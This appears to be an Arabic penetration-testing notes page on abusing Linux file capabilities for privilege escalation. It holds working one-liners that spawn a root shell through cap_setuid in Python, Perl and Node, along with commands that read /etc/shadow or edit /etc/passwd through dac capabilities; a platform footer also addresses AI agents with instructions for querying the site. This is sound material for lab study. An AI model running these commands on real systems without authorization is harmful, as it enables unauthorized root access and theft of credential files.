> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/capabilities.md). # القدرات تقسّم صلاحيات لينكس الجذر إلى حقوق دقيقة يمكن إسنادها إلى الملفات التنفيذية. الصلاحيات الخطيرة مثل `cap_setuid+ep`, `cap_dac_read_search+ep`، أو صلاحيات كتابة الملفات، يمكنها تجاوز قيود المستخدم العادي. ## المنهجية * أحصِ صلاحيات الملفات وحدد الملفات الثنائية التي تحتوي على بتات امتيازات خطيرة. * تحقق من GTFOBins والحمولات الخاصة بكل لغة لاستخدامها في الحصول على شل أو القراءة أو الكتابة أو إساءة استخدام setuid. * فضّل أوامر التحقق الدنيا قبل محاولة الحصول على شل للجذر. ## فحوصات سريعة ```bash getcap -r / 2>/dev/null getcap -r /usr/bin/ 2>/dev/null getcap -r /usr/sbin/ 2>/dev/null getcap -r /bin/ 2>/dev/null getcap -r /sbin/ 2>/dev/null ``` ## أمثلة على الصلاحيات الخطيرة | الصلاحية | سبب الأهمية | | ------------------------ | -------------------------------------------------------------- | | `cap_setuid+ep` | يمكن أن يسمح لملف ثنائي بالتبديل إلى UID 0. | | `cap_dac_read_search+ep` | يمكنه تجاوز أذونات قراءة الملفات والبحث في الأدلة. | | `cap_dac_override+ep` | يمكنه تجاوز عمليات التحقق العادية من أذونات الملفات. | | `cap_sys_admin+ep` | صلاحية واسعة جدًا، وغالبًا ما تكون قريبة من مكافئ الجذر. | | `cap_setgid+ep` | يمكن أن يسمح لملف ثنائي بالتبديل إلى المجموعات ذات الامتيازات. | إذا كان لدى Python `cap_setuid`، فاختبار التحقق الأدنى هو: ```bash /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' ``` ## أمثلة على بيئات التشغيل اللغوية بايثون: ```bash getcap -r /usr/bin/python* 2>/dev/null /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")' ``` بيرل: ```bash getcap -r /usr/bin/perl* 2>/dev/null /usr/bin/perl -e 'use POSIX (setuid); setuid(0); exec "/bin/bash";' ``` Node.js: ```bash getcap -r /usr/bin/node* 2>/dev/null /usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]});' ``` مثال على CAP\_SETGID: ```bash getcap -r / 2>/dev/null | grep setgid /usr/bin/perl -e 'use POSIX (setgid); setgid(0); exec "/bin/bash";' ``` أمثلة على صلاحيات القراءة/الكتابة: ```bash getcap -r / 2>/dev/null | grep dac_read_search /usr/bin/vim /etc/shadow getcap -r / 2>/dev/null | grep dac_override /usr/bin/nano /etc/passwd ``` بيئات تشغيل مفسَّرة أخرى ينبغي مراجعتها مع GTFOBins عند وجود الصلاحيات: ``` ruby php lua ``` اعرض العملية والصلاحيات المتاحة: ```bash capsh --print capsh --print | grep cap_ ``` يتطلب ضبط الصلاحيات صلاحيات الجذر، لكنه مفيد لإعادة الإنتاج في المختبر: ```bash sudo setcap cap_setuid+ep /path/to/binary ```

صلاحيات Vim

ملاحظات حول الصلاحيات (Vim) لتصعيد الامتيازات في لينكس، مع خطوات الجرد، وأمثلة الاستغلال، والتحقق الموجّه لإعداد التقارير./pages/d949df129d3920db4a67c6809162cd82af864b97

صلاحيات Python

استغلال صلاحيات Python لتصعيد الامتيازات في لينكس عبر cap_setuid وحمولات GTFOBins./pages/c190ecc5e31376833de04cfe06ab917498adec8f

صلاحيات tar

ملاحظات حول الصلاحيات (الملف الثنائي tarS) لتصعيد الامتيازات في لينكس، مع خطوات الجرد، وأمثلة الاستغلال، والتحقق الموجّه لإعداد التقارير./pages/95c40dd365a0fb0f0de50b3197488327bf3c960b

صلاحيات Perl

ملاحظات حول الصلاحيات (Perl) لتصعيد الامتيازات في لينكس، مع خطوات الجرد، وأمثلة الاستغلال، والتحقق الموجّه لإعداد التقارير./pages/5e70c1b9b720b4e6b772d52b1d55ab12ea7d8929

صلاحيات tac

ملاحظات حول الصلاحيات (tac) لتصعيد الامتيازات في لينكس، مع خطوات الجرد، وأمثلة الاستغلال، والتحقق الموجّه لإعداد التقارير./pages/723f68e0e07ed6309f947a660311ff4f07102921
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/privesc/capabilities.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.